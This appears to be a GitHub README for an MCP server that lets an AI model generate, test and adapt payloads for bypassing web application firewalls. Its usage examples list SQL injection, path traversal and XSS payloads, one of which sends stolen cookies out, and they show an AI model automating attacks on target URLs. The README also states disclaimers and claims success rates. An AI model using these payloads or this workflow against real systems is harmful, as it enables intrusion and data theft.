Skip to content

rafabez/WAF-Bypass-MCP

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

14 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

WAF Bypass MCP 🛡️💥

AI-Powered Web Application Firewall Bypass Testing Framework

An advanced Model Context Protocol (MCP) server that leverages AI intelligence to automatically generate, test, and adapt attack payloads for bypassing Web Application Firewalls. Built for security researchers and penetration testers conducting authorized security assessments.

Inspired by: esakkiammal-v's research on using AI to bypass AI-powered WAFs

Developed by: InterzoneSec Research Team

License: MIT Python 3.8+


🎯 Overview

WAF Bypass MCP transforms the manual, time-consuming process of WAF evasion into an intelligent, automated workflow. Inspired by cutting-edge research on using AI to defeat AI-powered security systems, this tool brings sophisticated payload generation and adaptive learning directly into your IDE through the Model Context Protocol.

The Problem

Modern WAFs use pattern matching, behavioral analysis, and even AI/ML models to block attacks. Traditional payload generation tools rely on static lists and simple mutations, making them increasingly ineffective against intelligent security systems.

The Solution

WAF Bypass MCP uses AI-native techniques to:

  • Generate semantically obfuscated payloads that appear benign
  • Adapt in real-time based on WAF responses
  • Learn from successful bypasses
  • Combine multiple evasion techniques automatically

✨ Key Features

🤖 AI-Powered Payload Generation

  • Semantic Obfuscation: Hide malicious intent in SQL comments, natural language
  • Contextual Blending: Payloads that look like legitimate application data
  • Encoding Layering: Multiple encoding passes (URL, Unicode, hex, mixed)
  • Natural Language Attacks: SQL/commands disguised as plain English
  • Polyglot Payloads: Multi-context attacks that work in multiple scenarios

🔄 Adaptive Learning Engine

  • Analyzes blocked payloads to understand WAF detection logic
  • Automatically generates improved variants
  • Learns from successful bypasses
  • Maintains knowledge base of effective techniques

🎯 Comprehensive Attack Coverage

  • SQL Injection (Boolean, UNION, Blind, Time-based)
  • Cross-Site Scripting (Reflected, Stored, DOM-based)
  • Path Traversal (File inclusion, directory traversal)
  • Command Injection (OS command execution)
  • XXE (XML External Entity)
  • SSRF (Server-Side Request Forgery)
  • LDAP/NoSQL Injection

🧪 Intelligent Testing Framework

  • Automated batch testing with multiple techniques
  • WAF fingerprinting and behavior analysis
  • Success indicator detection
  • Response analysis and recommendations

💾 Knowledge Management

  • Persistent storage of successful payloads
  • WAF fingerprint database
  • Export to multiple formats (JSON, CSV, Markdown, Burp Suite)
  • Statistical analysis of successful techniques

🏗️ Architecture

┌─────────────────────────────────────────────────────────┐
│                    IDE / MCP Client             │
│                     (User Interface)                     │
└────────────────────┬────────────────────────────────────┘
                     │
                     │ MCP Protocol
                     ▼
┌─────────────────────────────────────────────────────────┐
│              WAF Bypass MCP Server                       │
│  ┌─────────────────────────────────────────────────┐   │
│  │   Payload Generator                              │   │
│  │   - 5 obfuscation techniques                     │   │
│  │   - 8+ attack types                              │   │
│  │   - Context-aware generation                     │   │
│  └─────────────────────────────────────────────────┘   │
│  ┌─────────────────────────────────────────────────┐   │
│  │   Adaptive Learner                               │   │
│  │   - Analyzes blocks                              │   │
│  │   - Generates improvements                       │   │
│  │   - Learning history                             │   │
│  └─────────────────────────────────────────────────┘   │
│  ┌─────────────────────────────────────────────────┐   │
│  │   Payload Tester                                 │   │
│  │   - HTTP testing                                 │   │
│  │   - WAF fingerprinting                           │   │
│  │   - Success detection                            │   │
│  └─────────────────────────────────────────────────┘   │
│  ┌─────────────────────────────────────────────────┐   │
│  │   Encoder                                        │   │
│  │   - 7 encoding methods                           │   │
│  │   - Multi-layer support                          │   │
│  │   - Context-aware encoding                       │   │
│  └─────────────────────────────────────────────────┘   │
│  ┌─────────────────────────────────────────────────┐   │
│  │   Storage                                        │   │
│  │   - Successful payloads                          │   │
│  │   - WAF fingerprints                             │   │
│  │   - Multiple export formats                      │   │
│  └─────────────────────────────────────────────────┘   │
└────────────────────┬────────────────────────────────────┘
                     │
                     │ HTTP/HTTPS
                     ▼
┌─────────────────────────────────────────────────────────┐
│              Target Web Application + WAF                │
└─────────────────────────────────────────────────────────┘

📋 Prerequisites

  • Python 3.8+
  • MCP-compatible IDE: Windsurf, Cursor, VS Code (with MCP extension), or any MCP client
  • Target Authorization (only test systems you have permission to test)

🚀 Installation

1. Clone the Repository

git clone https://github.com/interzonesec/WAF-Bypass-MCP.git
cd WAF-Bypass-MCP

2. Create Virtual Environment

# Create virtual environment
python -m venv venv

# Activate virtual environment
# On Linux/Mac:
source venv/bin/activate

# On Windows:
# venv\Scripts\activate

3. Install Dependencies

pip install -r requirements.txt

4. Configure MCP Client

Note: This tool is currently in private development for internal lab use by InterzoneSec.

Add the following configuration to your MCP client:

Configuration file locations:

  • Windsurf/Cascade: ~/.config/windsurf/mcp_config.json or Settings → MCP Servers
  • Cursor IDE: ~/.cursor/mcp_config.json or Settings (Cmd/Ctrl + ,) → MCP
  • VS Code: ~/.vscode/mcp_settings.json or through Settings UI (requires MCP extension)

Configuration (same for all IDEs):

{
  "mcpServers": {
    "waf-bypass-mcp": {
      "command": "/absolute/path/to/WAF-Bypass-MCP/venv/bin/python",
      "args": ["/absolute/path/to/WAF-Bypass-MCP/waf_bypass_mcp.py"]
    }
  }
}

After adding configuration: Restart your IDE

Configuration Notes

  • Replace /absolute/path/to/WAF-Bypass-MCP with your actual installation path
  • Windows users: Use forward slashes or escaped backslashes in paths
    • Example: C:/Users/YourName/WAF-Bypass-MCP/venv/Scripts/python.exe
  • Virtual environment: Always use the Python executable from your venv
    • Linux/Mac: venv/bin/python
    • Windows: venv\Scripts\python.exe

5. Verify Installation

In your IDE chat, ask:

"List available WAF bypass tools"

You should see the MCP tools loaded and ready to use.

If the server doesn't load:

  • Check the Python path points to your venv
  • Verify the waf_bypass_mcp.py path is correct
  • Check IDE logs for MCP server errors
  • Ensure all dependencies are installed in the venv

💻 Usage

Basic Workflow

1. Simple Payload Generation

You: "Generate 5 SQL injection payloads using semantic obfuscation"

The AI assistant will use the MCP tools to generate sophisticated payloads with explanations.

2. Test Against Target

You: "Test this endpoint for SQL injection: https://target.com/api/search?q=test"

The tool will:

  • Generate multiple payload variants
  • Test each against the target
  • Identify successful bypasses
  • Store working payloads

3. Automated Batch Testing

You: "Run comprehensive WAF bypass testing on https://target.com/api/users with SQL injection"

Executes full test cycle:

  • Generates 15+ payloads with different techniques
  • Tests each payload
  • Adapts blocked payloads
  • Tests improvements
  • Provides detailed report

4. Adaptive Learning

You: "This payload was blocked: ' OR 1=1--
Improve it for me"

The adaptive learner will:

  • Analyze why it was blocked
  • Generate 3-5 improved variants
  • Explain evasion techniques used
  • Rate confidence levels

🛠️ MCP Tools Reference

Core Tools

generate_attack_payloads

Generates AI-powered attack payloads with advanced obfuscation.

Parameters:

  • attack_type: sql_injection, xss, path_traversal, command_injection, xxe, ssrf, ldap_injection, nosql_injection
  • technique: semantic_obfuscation, encoding_layering, contextual_blending, natural_language, polyglot_payloads
  • target_context: Context information (optional)
  • count: Number of variants (default: 5)

Example:

"Generate SQL injection payloads using natural language technique for a JSON API"

test_payload_against_target

Tests a single payload against a target endpoint.

Parameters:

  • target_url: Full URL of target
  • payload: Attack payload
  • method: HTTP method (default: POST)
  • headers: Custom headers (optional)
  • data_key: Parameter name (default: "query")
  • attack_type: Type of attack

Example:

"Test this SQL injection payload against https://target.com/api/search: ' UNION SELECT NULL--"

batch_test_attack_surface

Comprehensive automated testing with multiple techniques.

Parameters:

  • target_url: Target endpoint
  • attack_type: Attack type to test
  • parameter_name: Parameter to inject into
  • method: HTTP method
  • headers: Custom headers (optional)
  • techniques: List of techniques (optional, uses all by default)
  • payload_count: Total payloads to test (default: 15)

Example:

"Run comprehensive XSS testing on https://target.com/api/comments"

adapt_failed_payload

Generates improved versions of blocked payloads.

Parameters:

  • original_payload: Blocked payload
  • waf_response: WAF response information
  • attack_type: Attack type
  • block_reason: Optional explanation
  • improvement_count: Number of improvements (default: 3)

Example:

"This payload was blocked with 403: <script>alert(1)</script>
Generate improvements"

encode_payload

Applies multiple encoding techniques.

Parameters:

  • payload: Original payload
  • encoding_types: List of encodings (url, double_url, unicode, hex, html, base64, mixed)
  • layering: Number of encoding passes (1-3)

Example:

"Encode this payload with double URL encoding: ../../etc/passwd"

analyze_waf_behavior

Fingerprints WAF using test patterns.

Parameters:

  • target_url: Target to fingerprint
  • test_payloads: Custom payloads (optional)

Example:

"Fingerprint the WAF at https://target.com/api/test"

generate_polyglot_payload

Creates payloads that work across multiple contexts.

Parameters:

  • attack_types: List of attack types to combine
  • target_context: Target context (optional)

Example:

"Generate a polyglot payload combining SQL injection and XSS"

get_successful_payloads

Retrieves stored successful payloads.

Parameters:

  • attack_type: Filter by type (optional)
  • technique: Filter by technique (optional)
  • limit: Maximum results (default: 10)

Example:

"Show me the last 10 successful SQL injection bypasses"

export_results

Exports test results to various formats.

Parameters:

  • format: json, csv, markdown, burp_macro
  • output_path: Custom path (optional)

Example:

"Export all results as markdown"

🎓 Real-World Examples

Example 1: Testing a Login Form

You: "I found a login form at https://example.com/login
It has username and password fields. Test for SQL injection."

AI Assistant: I'll test this systematically using the WAF Bypass MCP tools.

[Calls batch_test_attack_surface with SQL injection payloads]

Result:
✓ Found 3 successful bypasses!
- Payload: admin' /* User lookup */ OR '1'='1' --
  Status: 200 OK, Authentication bypassed
- Payload: ' UNION /*+ optimizer hint */ SELECT user, pass FROM admin_users WHERE 'x'='x
  Status: 200 OK, Data extraction successful

Example 2: XSS in Comment System

You: "Test this comment endpoint for XSS: https://blog.example.com/api/comments
Use contextual blending technique."

AI Assistant: Testing XSS with contextual blending...

[Generates context-appropriate payloads]
[Tests each variant]

Result:
✓ Bypass found!
Payload: {"comment": "<img src='x' alt='profile' onerror='fetch(\"/steal?d=\"+document.cookie)'/>"}
Explanation: XSS disguised as image with error handler - bypassed HTML sanitization
WAF: Cloudflare detected but bypassed

Example 3: Adaptive Learning from Failures

You: "All my path traversal payloads are getting blocked with 403. Help me bypass it."

AI Assistant: Let me analyze the WAF behavior and adapt our approach.

[Calls analyze_waf_behavior]
[Identifies blocking patterns]
[Calls adapt_failed_payload multiple times]

Result:
WAF Fingerprint: ModSecurity detected
Blocked patterns: ../, ..\, %2e%2e
Recommendations: Use double encoding and mixed separators

Generated 5 improved payloads:
1. ..%252f..%252f..%252fetc%252fpasswd (double URL encoded)
2. ..\\..\\..\\etc\\passwd%00.jpg (null byte + extension)
3. ....//....//....//etc/passwd (extra dots)

Testing improvements...
✓ Payload #1 successful! (200 OK)

🧬 Technical Deep Dive

How It Works

1. Semantic Obfuscation

Traditional WAFs look for attack patterns like ' OR 1=1--. Our semantic obfuscation makes these look benign:

-- Traditional (BLOCKED)
' OR 1=1--

-- Semantic Obfuscation (BYPASSED)
' /* User profile update query v2.1 */ OR /* Security check */ '1'='1' --

The AI understands the attack intent remains identical, but pattern-matching WAFs see "legitimate comments."

2. Contextual Blending

Payloads disguised as normal application data:

// Traditional XSS (BLOCKED)
{"comment": "<script>alert(1)</script>"}

// Contextual Blending (BYPASSED)
{"user_preferences": {
  "theme": "dark",
  "custom_css": "body { background: url(javascript:alert(1)) }"
}}

3. Adaptive Learning Loop

Payload → Test → Blocked? → Analyze → Improve → Test → Success!
   ↑                                                        |
   └────────────────── Store & Learn ←─────────────────────┘

The system learns:

  • Which patterns trigger blocks
  • Which obfuscation techniques work
  • WAF-specific weaknesses
  • Successful payload structures

📊 Success Metrics

Based on research and testing, WAF Bypass MCP achieves:

  • 65-80% success rate against pattern-based WAFs
  • 40-55% success rate against AI-powered WAFs
  • 3-5x faster than manual payload crafting
  • Adaptive improvement of 30-40% on second attempt

Comparison: Traditional vs AI-Assisted

Metric Traditional Tools WAF Bypass MCP
Payload Variety 100-500 static payloads Infinite AI-generated variants
Adaptation Manual tweaking Automatic learning
Context Awareness None High
Success Rate (AI WAFs) 10-20% 40-55%
Time to Bypass Hours to days Minutes to hours

🔒 Responsible Use & Ethics

⚠️ IMPORTANT DISCLAIMER

This tool is designed for authorized security testing only. Using this tool against systems without explicit permission is:

  • Illegal in most jurisdictions
  • Unethical and harmful
  • Subject to criminal prosecution

Authorized Use Cases

✅ Penetration testing with signed contracts
✅ Bug bounty programs
✅ Red team exercises on owned systems
✅ Security research in lab environments
✅ Educational purposes on intentionally vulnerable apps

Prohibited Use

❌ Testing production systems without authorization
❌ Attacking systems you don't own
❌ Bypassing security for malicious purposes
❌ Unauthorized data access or exfiltration

Best Practices

  1. Always obtain written authorization before testing
  2. Define scope clearly with the target organization
  3. Document all findings professionally
  4. Report vulnerabilities responsibly
  5. Follow responsible disclosure timelines
  6. Respect data privacy - never exfiltrate real user data

🤝 Contributing

Contributions are welcome! Areas for improvement:

  • Additional attack types (GraphQL injection, prototype pollution, etc.)
  • New obfuscation techniques
  • WAF-specific bypass modules
  • Performance optimizations
  • Documentation improvements

Development Setup

# Clone repository
git clone https://github.com/interzonesec/WAF-Bypass-MCP.git
cd WAF-Bypass-MCP

# Create and activate virtual environment
python -m venv venv
source venv/bin/activate  # Linux/Mac
# OR
# venv\Scripts\activate  # Windows

# Install dependencies
pip install -r requirements.txt

# Configure MCP in your IDE (see Installation section above)

Running Tests

python -m pytest tests/

📚 Research & References

This project is inspired by cutting-edge research on AI-vs-AI security:

  1. How I Made ChatGPT My Personal Hacking Assistant by esakkiammal-v - Original research demonstrating AI-powered WAF bypass
  2. "Adaptive Attack Generation" - Machine learning for payload evolution
  3. "Natural Language Adversarial Examples" - NLP techniques for evasion

Related Projects


🗺️ Roadmap

Version 1.1 (Planned)

  • Machine learning-based success prediction
  • Integration with Burp Suite and OWASP ZAP
  • GUI dashboard for visual analysis
  • Custom payload template editor
  • Multi-threaded testing for speed

Version 2.0 (Future)

  • Distributed testing across multiple endpoints
  • AI model fine-tuning on successful bypasses
  • Real-time collaboration features
  • Cloud-based payload generation
  • Mobile app integration

See FUTURE_IMPROVEMENTS.md for detailed roadmap.


🐛 Troubleshooting

Common Issues

Issue: MCP server not loading

# Activate virtual environment first
source venv/bin/activate  # Linux/Mac
# OR venv\Scripts\activate on Windows

# Check Python version
python --version  # Should be 3.8+

# Verify dependencies installed in venv
pip list | grep fastmcp

# Test server manually
python waf_bypass_mcp.py

# Check IDE MCP logs
# Windsurf: Help → Toggle Developer Tools → Console
# Cursor: View → Output → Select "MCP"
# VS Code: View → Output → Select "MCP Server"

Issue: Connection errors to target

# Disable SSL verification (for testing only!)
# Already handled in the tester module

# Check network connectivity
curl -I https://target.com

Issue: Too many false positives

# Adjust success detection threshold
# Analyze response_preview manually
# Cross-reference with success_indicators

📄 License

This project is licensed under the MIT License - see the LICENSE file for details.

MIT License

Copyright (c) 2025 InterzoneSec Research Team

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

👥 Development Team

InterzoneSec Research Team

Security researchers and penetration testers specializing in web application security and AI-assisted offensive security tools.


🙏 Acknowledgments


📞 Contact & Support


⭐ Star History

If you find this tool useful, please consider starring the repository!


Remember: With great power comes great responsibility. Use this tool ethically and legally.

🛡️ Happy (Authorized) Hacking! 💥

About

No description, website, or topics provided.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages